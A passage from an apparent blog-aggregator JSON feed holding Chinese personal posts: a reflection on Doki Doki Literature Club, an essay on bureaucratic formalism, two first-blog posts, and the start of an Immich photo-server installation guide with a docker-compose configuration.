Volunteering)\u003c/h3\u003e\n\u003cp\u003e唉,说了这么多,我还是想说我挺佩服文案和策划的,对人心情感把握很到位,分析也很犀利,女生们的言语逐渐构筑了她们立体的样子。游戏也是文学的载体,能在不算长的对话中塞下这么多的情感暗流,相互交织,改变一切的走向,这让整个作品十分精彩。\u003c/p\u003e\n\u003cp\u003e还是推荐大家玩一下,Steam上的Doki-Doki Literature Club是免费的!而且社区有汉化补丁!(我被英语阅读硬控了整个第一周目)。至于DDLC Plus这个收钱的游戏,我的建议是这是纯赞助,对于情感向玩家来说只是多了几个女生的支线剧情,对于刺激向玩家来说就是找新彩蛋和智商税了。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/\"\u003e玩DDLC有感\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/"},{"title":"简要说说形式主义“流程”","time":"2024-07-16T16:22:57Z","content":"\u003cp\u003e在中国处处可以见到形式主义,比如我这次去办卡就可见一斑。但是我们很少去质疑它,质疑这样的社会环境,考虑它可能带来的未来影响。事实上,它会影响我们所有人,而且这样的潜在危害会持续很长一段时间。此处简要谈谈我对它的思考。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/formalism_and_procedure/\"\u003e简要说说形式主义“流程”\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003cp\u003e前几天为了做前往日本的准备,去中国银行开了一张VISA借记卡。在前台询问开卡的先决条件是经理跟我说需要有出国的签证或者是机票,签证预计还有一周才能下来,而飞机票为了保险起见也暂时没有买。我当即就问他:“我可不可以现场买机票?”。经理笑了一下,说当然,我不介意你现场买,现场办,现场退。\u003c/p\u003e\n\u003cp\u003e在感到啼笑皆非的同时,我也明白,经理也是为了走上面规定的流程,而其余的责任不在经理的范围之内。虽然为我提供了一些方便,但是我也不禁开始思考这样的合理性。\u003c/p\u003e\n\u003cp\u003e很明显,走这个程序是为了防止滥办外币卡出现难以管制的情况。这个程序出现的初衷应该是只为了让目的纯粹的人可以达到办卡的目标,从而既一定程度上避免了外币卡的滥用,也满足了出国以及外商的需求。为了实现这个纯粹的目的,只能用某些程序去筛选出真正有需要的人。然而,第一方面,就正如俗语所说,“程序是死的,人是活的”,估计这一句话已经成为在中国混社会的标准了。写的跟说的经常不是一回事,即使必须要走程序,中间也有很大的“操作空间”。\u003c/p\u003e\n\u003cp\u003e银行经理对自己的绩效和职位以外的事不太关心,也就是说,他只需要明面上遵守上面的规定就可以了。而不是如上级原先所想的那样帮助剔除出目的不纯的人,如果这么做,一方面给自己加工作量,一方面和业绩过不去,单纯所谓的“听话”和“正义”在没有实际利益的情况下,变得很虚弱和可笑。\u003c/p\u003e\n\u003cp\u003e这样一个小事,如何不能说是中国社会的一个缩影呢?大量的形式主义,阳奉阴违也已经屡见不鲜。甚至我们开始渐渐的习惯它,而不是质疑它存在的合理性。\u003cbr /\u003e\n原先规定,某级领导办公室的面积不能超过多少平米,领导就连夜用砖把多出来的面积给砌掉。\u003c/p\u003e\n\u003cp\u003e学校里面来了某个领导来审查,学生的饭菜质量都能好上一两天。\u003cbr /\u003e\n中央一提出要做垃圾分类,小区跟学校就应付式的做出垃圾分类桶,最后还是在运输时混到一起。\u003c/p\u003e\n\u003cp\u003e仅仅只有当上面集中精力下达一项政策,提出极其严厉的惩罚手段,跟极其严格的监督手段时这个政令才能得到原本的效果。但是又哪来那么多的精力和那么多的金钱,来一条条的做完这些事情呢?回想一下,觉得中国的大部分政令都像政治游戏里面的Ad-hoc(临时紧急政策),虽然能得到一些效果,但是每次实行起来极其费钱和行动点,在政令栏同时开几个,国家就要破产。\u003c/p\u003e\n\u003cp\u003e我想所谓的做给上面看,不是说明了审查程序不够严格,不够贴近实际的。而是整个利益的冲突,以及和这个圆滑的社会不搭调罢了。这样做下去,倒不是说说领导都会蒙蔽视听。而是说领导也明知如此,只是为了应付更上级的人而做做检查,写个完美的考察报告。如此下来,只要上级规定一定程度上跟下级利益存在冲突,就总有可能出现各种各样,走流程给上面看的问题。\u003c/p\u003e\n\u003cp\u003e目前社会的风气,对这种行为的习惯化,只会让政策越来越难以下达,越来越变成忽悠领导,领导忽悠媒体,媒体忽悠人民的局面。到时候也许进入这些潜规则而沾沾自喜的我们,也会成为受害者。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/17/formalism_and_procedure/\"\u003e简要说说形式主义“流程”\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/17/formalism_and_procedure/"},{"title":"让我们热烈祝贺谢百草的第一篇博客成功发表!","time":"2024-07-11T05:27:23Z","content":"\u003cp\u003e第一篇博客具有深刻的纪念意义,因为我不想 [\u0026#8230;]\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/\"\u003e让我们热烈祝贺谢百草的第一篇博客成功发表!\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\u003cp\u003e第一篇博客具有深刻的纪念意义,因为我不想打字,所以直接放一篇自己之前写过的一段文字好了(之所以不称之为诗是因为本人自认为水平达不到orz!)\u003c/p\u003e\n\u003cp\u003e今天天气很好,今天天气不好\u003cbr /\u003e\n清晨,第一缕阳光撒下来的时候 我心甘情愿被困在被窝里\u003cbr /\u003e\n春日,有人陪伴着赏樱,有人陪伴着踏青,我没人陪伴,我有被窝\u003cbr /\u003e\n但忙碌的生活让被窝的陪伴也成为了一种奢侈\u003cbr /\u003e\n每天结束了一天的忙碌与学习,被窝会呼唤我\u003cbr /\u003e\n它敞开它温暖踏实的怀抱将我包裹\u003cbr /\u003e\n我靠近、蜷缩、心甘情愿被覆盖\u003cbr /\u003e\n闭上眼,我仿佛回到了混沌之初\u003cbr /\u003e\n炙热流动的血液和源源不断输送进我体内的营养分子\u003cbr /\u003e\n可我早已不是一枚无意识的胚胎,也不是可以耍小性子的婴孩\u003cbr /\u003e\n每一天我都在无准备下将自己与被窝剥离\u003cbr /\u003e\n如同我每一天不断剥离着我的生命\u003cbr /\u003e\n——2024.3.22\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/\"\u003e让我们热烈祝贺谢百草的第一篇博客成功发表!\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/"},{"title":"撒下种子——我的第一篇博客","time":"2024-07-10T12:36:26Z","content":"\u003cp\u003e使用WordPress简单搭建了一个个人博客网站,谈谈写博客的原因和今后的准备。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/10/cultivation_first_blog/\"\u003e撒下种子——我的第一篇博客\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n\u003chr /\u003e\n\u003ch2\u003e先问个好\u003c/h2\u003e\n\u003cp\u003e我是NanCunChild!一个不务正业的XDU代码控~,喜欢玩软件、折腾服务器、把整个网络搞宕机等等。今天终于准备在这个个人博客站写博客咯,还是有点激动呢。之前虽然也写过一两篇文章,但是终究还是没有做这么大的准备,因此写的也很零散。这次使用WordPress搭了一个个人网站,正好可以放挺多博客和日记,再加上一些插件,也可以实现RSS订阅,终于可以在XDU Planet里面看到我的文章了。\u003c/p\u003e\u003c/p\u003e\n\n\n\u003ch2\u003e要写些什么呢\u003c/h2\u003e\n\u003cp\u003e我意识到我平常想的东西还是比较多的。有的时候刚躺下时,思绪便会翻涌起来,从折腾各种电子元件到自己的情感波动,可以说什么都想吧。但是这些想法转瞬即逝,没有及时把握的话,可能一些洞察自己内心的光束、一些好玩的想法就被永久遗失了。因此,我准备在平常多思考一点,当有灵感或想法时,随手把它记下来,免得某块还算漂亮的思维贝壳最终被淹没在思维的海洋里面。\u003c/p\u003e\n\n\n\u003ch2\u003e为什么要记录呢\u003c/h2\u003e\n\u003cp\u003e一方面觉得写下来能够追忆过去,另一方面呢也是希望能在文字中展现自己的标签和个性,遇到更有趣的人,让更多的人了解我(谈谈符号化标签化时代)。自然记录下来的内容既有给自己看的,也有给别人看的。自己看的部分可以还原自己的思维和感情,能让我更充分地思考我当时所想的东西,将博客当成一个记录工具的同时也作为一个思维工具。而给别人看的部分我更希望别人看完我的时代锐评之后能觉得“Wow,NanCunChild还是有点东西的”,或者参考一下我的折腾日记后能学点东西。自己看的“日记”和别人看的“博客”功能性上还是不同,因此当然要分开(心跳文学部有感)。还有呐,我觉得在XDU Planet里面有自己的一块地,还说不定被别人看到,想想还是有点激动的。到时候用Traintime PDA的小东西们应该也不少吧,都会看到南先生的妙笔,岂不是一件美事?\u003c/p\u003e\n\n\n\u003ch2\u003e今后的打算\u003c/h2\u003e\n\u003cp\u003e今后应该就是不定时更新博客,不过会坚持下去的。写博客日记有助于重新审视自己的思维,把平常杂乱的思维通过逻辑串联起来,如同把杂乱的长发一点点理顺,想通之后会有畅快的感觉。思维总是有限的,需要的是质量而不是数量,开口时经常感到空虚,闭嘴时往往觉察到充实,我会在我的思维像啤酒泡一般要溢出时才倒一点点出来平息泡沫。总的来说,第一篇就先说这么多吧。感觉说多了,思维又似乎有点混乱咯。\u003c/p\u003e\n\n\n\u003ch2\u003e附注,欢迎来找我玩\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/NanCunChild\" target=\"_blank\" rel=\"noopener\"\u003e\u003c/p\u003e\n\u003cimg decoding=\"async\" src=\"https://github-readme-stats.vercel.app/api?username=NanCunChild\u0026#038;show_icons=true\u0026#038;theme=radical\" alt=\"GitHub stats\" /\u003e\n\u003cp\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://nancunchild.cn/2024/07/10/cultivation_first_blog/\"\u003e撒下种子——我的第一篇博客\u003c/a\u003e最先出现在\u003ca href=\"https://nancunchild.cn\"\u003eNanCunChild的个人随想\u003c/a\u003e。\u003c/p\u003e\n","url":"https://nancunchild.cn/2024/07/10/cultivation_first_blog/"}]},{"name":"木生懒得写博客","email":"Unknown","uri":"https://blog.lsy223622.com/","description":"写点玩电脑经历吧","article":[{"title":"开源 AI 相册 Immich 安装记录","time":"2024-09-27T12:06:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%B2%E6%95%85%E4%BA%8B\"\u003e讲故事\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E9%80%89%E6%8B%A9-immich\"\u003e为什么选择 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85%E5%89%8D%E5%87%86%E5%A4%87\"\u003e安装前准备\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85-docker\"\u003e安装 Docker\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-docker-composeyml\"\u003e编写 docker-compose.yml\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-env\"\u003e编写 .env\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%8B%E8%BD%BD-hwaccelmlyml\"\u003e下载 hwaccel.ml.yml\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85\"\u003e安装\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%90%AF%E5%8A%A8-immich\"\u003e启动 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BF%E9%97%AE-immich\"\u003e访问 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE-immich\"\u003e设置 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD\"\u003e设置移动设备自动备份\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%87%AA%E7%94%A8%E6%87%92%E4%BA%BA%E5%B0%8F%E8%84%9A%E6%9C%AC\"\u003e自用懒人小脚本\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-startbat\"\u003estart.bat\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-updatebat\"\u003eupdate.bat\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BB%93%E8%AF%AD\"\u003e结语\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-讲故事\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%B2%E6%95%85%E4%BA%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e讲故事\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e电脑上有特别多照片,大概几个 T,之前就简单地存在硬盘里,用文件夹整理了一下。照片看肯定是看不过来的,想找也不知道要怎么找。\u003c/li\u003e\n\u003cli\u003e起初试了很多 Windows 本地安装的照片管理软件,感觉没啥好的。我想着至少能找到苹果相册那样水平的软件,但可惜没有。\u003c/li\u003e\n\u003cli\u003e最后选中了两个支持人脸识别分类的软件:Lightroom 和 Picasa。\n\u003cul\u003e\n\u003cli\u003eLightroom 众所周知是个庞大的商业软件,\u003cstrong\u003e启动时间很长,处理大量照片很卡\u003c/strong\u003e。它虽然有人脸识别分类功能,但毕竟不是以相册为目的设计的,\u003cstrong\u003e不适合作为一个相册来使用\u003c/strong\u003e。\u003c/li\u003e\n\u003cli\u003e最后在选择有限的情况下,最好的选择就是 Picasa。它是 Google 在很久以前推出的免费相册软件,支持人脸识别分类,\u003cstrong\u003e启动很快,使用流畅\u003c/strong\u003e。它会生成预览图保存到数据库,从而使得快速翻阅照片的时候基本上不用等待图片加载。它的\u003cstrong\u003e人脸相册整理方便流畅\u003c/strong\u003e,还能使用包含人脸的照片生成回忆影片。虽然但是,它在\u003cstrong\u003e很多年前就停止支持了\u003c/strong\u003e。它曾经能够使用的照片上传云服务转变为了现在的 Google Photos,\u003cstrong\u003e软件也不再更新\u003c/strong\u003e。它在如今的 Windows 11 上仍能正常使用,\u003cstrong\u003e唯一缺少的就是 hidpi 适配\u003c/strong\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e人脸识别相册的算法还是能经常给人惊喜的,偶尔会突然发现它识别出来一张特别模糊或者角度很偏的人脸,但分类居然还是对的。\u003c/li\u003e\n\u003cli\u003e扯得有点远了,反正我就很开心地用了蛮久 Picasa,直到有一天。那天我觉得 Picasa 虽然能满足我人脸识别分类的需求,\u003cstrong\u003e但并没有多少别的整理功能\u003c/strong\u003e。如果我想\u003cstrong\u003e根据时间或者内容或者地点查找照片\u003c/strong\u003e,还是需要自己手动翻阅一大堆照片,配合记忆来搜索。它作为一个原生 win32 软件,\u003cstrong\u003e只能在电脑上本地运行\u003c/strong\u003e,离开了电脑没法看到照片。它也不能帮助我保护照片安全,备份频率决定了意外发生时我会丢多少照片,我仍旧需要\u003cstrong\u003e每隔一段时间\u003c/strong\u003e自己把手机、iPad 等设备上的照片\u003cstrong\u003e手动导入到电脑\u003c/strong\u003e,然后启动 Picasa 让它扫描。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-为什么选择-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E9%80%89%E6%8B%A9-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e为什么选择 Immich\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e于是我决定搭建一个照片服务器。根据多方信息进行对比,我认为用户评价较好、完成度较高的照片服务器应用有以下几款:\n\u003cul\u003e\n\u003cli\u003eImmich:开源免费,\u003cstrong\u003e捐赠与否不影响功能\u003c/strong\u003e。支持人脸识别、\u003cstrong\u003e自然语言搜索\u003c/strong\u003e、地图相册等,功能比较完善。有多种开源 clip 模型和人脸识别模型可以选择,实测搜索效果非常好,并且支持组合筛选。有多平台客户端,\u003cstrong\u003e移动设备后台自动备份\u003c/strong\u003e,实测工作稳定,反应速度比系统自带云备份还快。支持为各种格式的照片和视频生成预览,可选高压缩率的 webp 等格式,\u003cstrong\u003e占用空间不大\u003c/strong\u003e。主要的视图是时间轴,浏览原始目录层级的文件夹模式刚刚推出,还不完善。没有 OCR 搜索功能,这个我蛮想要的,目前还没见到哪家有,希望以后能加上。\u003c/li\u003e\n\u003cli\u003ePhotoPrism:开源,基础功能免费,少量高级功能需要订阅,个人用途一般免费够用。支持人脸识别、地图相册、文件夹视图等,功能比较完善。人脸识别效果一般,文档里说\u003cstrong\u003e它用的模型没多少亚洲人和小孩的训练数据\u003c/strong\u003e,怪不得很多都识别不出来,而且\u003cstrong\u003e模型不能换\u003c/strong\u003e,\u003cstrong\u003e光这点就可以不用选了\u003c/strong\u003e。搜图方面,感觉它只用了很简单的图像标签模型,不能自然语言搜索,只有几个常见的关键词能搜到图片,同样不能换模型。文件夹视图比 Immich 完善。\u003cstrong\u003e预览图非常占空间\u003c/strong\u003e,每张图片生成了十张预览图和缩略图,在我电脑上占了一百多 g,看了一下它的预览图分辨率,最大尺寸和最大尺寸小一点点各生成了一张,不知道在想什么。\u003c/li\u003e\n\u003cli\u003eNextcloud Photos:Nextcloud 的一个应用 \u003cdel\u003e(插件)\u003c/del\u003e,根据网上对比在各种功能方面完成度也是很高的,但我感觉 \u003cstrong\u003eNextcloud 已经非常臃肿\u003c/strong\u003e,网页用起来都卡卡的,实在算不上流畅(不过也有我云服务器性能不行的关系),就不装这个给它增加负担了。不过确实是可以在自己的照片服务器\u003cstrong\u003e单独装一个 Nextcloud\u003c/strong\u003e,这样性能方面应该问题不大,\u003cstrong\u003e但和我云服务器上的 Nextcloud 就要冲突了\u003c/strong\u003e。(好像 Nextcloud 客户端都是可以添加多个服务器的?)\u003c/li\u003e\n\u003cli\u003eMT Photos:\u003cstrong\u003e订阅制,有永久版,价格不贵\u003c/strong\u003e。支持人脸识别、自然语言搜索、地图相册等,功能该有的基本上有。它居然\u003cstrong\u003e支持 OCR 搜索\u003c/strong\u003e,刚说没人有这下打脸了,希望 Immich 能跟进。它用的 clip 和人脸识别模型都\u003cstrong\u003e比 Immich 用的差一些\u003c/strong\u003e,可能是考虑到要兼容各种配置的设备,毕竟它能配置的选项确实蛮少的,算是\u003cstrong\u003e傻瓜式应用\u003c/strong\u003e。UI 和 Immich 就是一个模子刻出来的,因为都是\u003cstrong\u003e照着 Google Photos 做的\u003c/strong\u003e。国内平台蛮多人推荐这个,确实好用不贵而且用起来很简单。但我个人喜欢有免费的就用免费的,而且主观上会给开源加分,倾向于能折腾的东西,所以觉得它不如 Immich。\u003c/li\u003e\n\u003cli\u003eSynology Photos:顾名思义,群晖用的。我没有群晖 NAS,也没听说过黑什么的,于是没有用过。听说它的功能性也挺不错的,但反正有不限制群晖设备的替代品,就不用考虑了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e最后显然,Immich 在我这里胜出了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-安装前准备\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85%E5%89%8D%E5%87%86%E5%A4%87\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装前准备\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-安装-docker\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85-docker\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装 Docker\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cdel\u003e装系统就不讲了啊\u003c/del\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e我使用的是 Windows 台式机,安装 \u003ca rel=\"noopener noreferrer\" href=\"https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe\"\u003eDocker for Desktop\u003c/a\u003e,它会安装 WSL 并把 Docker 安装到 WSL 中,还带有一个便于操作的图形化管理器。\u003c/li\u003e\n\u003cli\u003eLinux 的话自己看\u003ca rel=\"noopener noreferrer\" href=\"https://docs.docker.com/\"\u003e官方文档\u003c/a\u003e吧\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-编写-docker-composeyml\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-docker-composeyml\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e编写 docker-compose.yml\u003c/h2\u003e\n\u003cp\u003e官方 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 模板下载地址:\u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/docker-compose.yml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e以下是我的 docker-compose.yml:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003ename: immich\n\nservices:\n immich-server:\n container_name: immich_server\n image: ghcr.io/immich-app/immich-server:${IMMICH_VERSION:-release}\n # extends:\n # file: hwaccel.transcoding.yml\n # service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding\n volumes:\n - ${UPLOAD_LOCATION}/encoded-video:/usr/src/app/upload/encoded-video\n - ${UPLOAD_LOCATION}/library:/usr/src/app/upload/library\n - ${UPLOAD_LOCATION}/thumbs:/usr/src/app/upload/thumbs\n - /etc/localtime:/etc/localtime:ro\n - \u0026#34;C:/Users/lsy22/Pictures:/immich-photo-library/Pictures:ro\u0026#34;\n - \u0026#34;D:/图\u0026amp;片:/immich-photo-library/图\u0026amp;片:ro\u0026#34;\n - \u0026#34;D:/Backup/ImmichPhotoBackup:/usr/src/app/upload/upload\u0026#34;\n env_file:\n - .env\n ports:\n - 2283:3001\n depends_on:\n - redis\n - database\n restart: always\n\n immich-machine-learning:\n container_name: immich_machine_learning\n # For hardware acceleration, add one of -[armnn, cuda, openvino] to the image tag.\n # Example tag: ${IMMICH_VERSION:-release}-cuda\n image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda\n extends: # uncomment this section for hardware acceleration - see https://immich.app/docs/features/ml-hardware-acceleration\n file: hwaccel.ml.yml\n service: cuda # set to one of [armnn, cuda, openvino, openvino-wsl] for accelerated inference - use the `-wsl` version for WSL2 where applicable\n volumes:\n - ./model-cache:/cache\n env_file:\n - .env\n restart: always\n healthcheck:\n disable: false\n\n redis:\n container_name: immich_redis\n image: docker.io/redis:6.2-alpine@sha256:2d1463258f2764328496376f5d965f20c6a67f66ea2b06dc42af351f75248792\n healthcheck:\n test: redis-cli ping || exit 1\n restart: always\n\n database:\n container_name: immich_postgres\n image: docker.io/tensorchord/pgvecto-rs:pg14-v0.2.0@sha256:90724186f0a3517cf6914295b5ab410db9ce23190a2d9d0b9dd6463e3fa298f0\n environment:\n POSTGRES_PASSWORD: ${DB_PASSWORD}\n POSTGRES_USER: ${DB_USERNAME}\n POSTGRES_DB: ${DB_DATABASE_NAME}\n POSTGRES_INITDB_ARGS: \u0026#39;--data-checksums\u0026#39;\n volumes:\n - \u0026#34;database:/var/lib/postgresql/data\u0026#34;\n healthcheck:\n test: pg_isready --dbname=\u0026#39;${DB_DATABASE_NAME}\u0026#39; --username=\u0026#39;${DB_USERNAME}\u0026#39; || exit 1; Chksum=\u0026#34;$$(psql --dbname=\u0026#39;${DB_DATABASE_NAME}\u0026#39; --username=\u0026#39;${DB_USERNAME}\u0026#39; --tuples-only --no-align --command=\u0026#39;SELECT COALESCE(SUM(checksum_failures), 0) FROM pg_stat_database\u0026#39;)\u0026#34;; echo \u0026#34;checksum failure count is $$Chksum\u0026#34;; [ \u0026#34;$$Chksum\u0026#34; = \u0026#39;0\u0026#39; ] || exit 1\n interval: 5m\n start_interval: 30s\n start_period: 5m\n command: [\u0026#34;postgres\u0026#34;, \u0026#34;-c\u0026#34; ,\u0026#34;shared_preload_libraries=vectors.so\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#39;search_path=\u0026#34;$$user\u0026#34;, public, vectors\u0026#39;, \u0026#34;-c\u0026#34;, \u0026#34;logging_collector=on\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;max_wal_size=2GB\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;shared_buffers=512MB\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;wal_compression=on\u0026#34;]\n restart: always\n\nvolumes:\n database:\n driver: local\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e7-9 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003e# extends:\n# file: hwaccel.transcoding.yml\n# service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里是硬件加速视频转码相关的设置,如果需要的话从 \u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/hwaccel.transcoding.yml\u003c/code\u003e 下载 \u003ccode\u003ehwaccel.transcoding.yml\u003c/code\u003e 放在旁边。我因为没有打算转码播放视频,也为了节约空间,没有开视频转码,也就不配置硬件加速转码了。\u003c/li\u003e\n\u003cli\u003eservice 参数可选 \u003ccode\u003ecpu\u003c/code\u003e(软件编码), \u003ccode\u003envenc\u003c/code\u003e(NVIDIA), \u003ccode\u003equicksync\u003c/code\u003e(Intel), \u003ccode\u003erkmpp\u003c/code\u003e(Rockchip), \u003ccode\u003evaapi\u003c/code\u003e(AMD / NVIDIA / Intel), \u003ccode\u003evaapi-wsl\u003c/code\u003e(AMD / NVIDIA / Intel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e10-17 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003e volumes:\n - ${UPLOAD_LOCATION}/encoded-video:/usr/src/app/upload/encoded-video\n - ${UPLOAD_LOCATION}/library:/usr/src/app/upload/library\n - ${UPLOAD_LOCATION}/thumbs:/usr/src/app/upload/thumbs\n - /etc/localtime:/etc/localtime:ro\n - 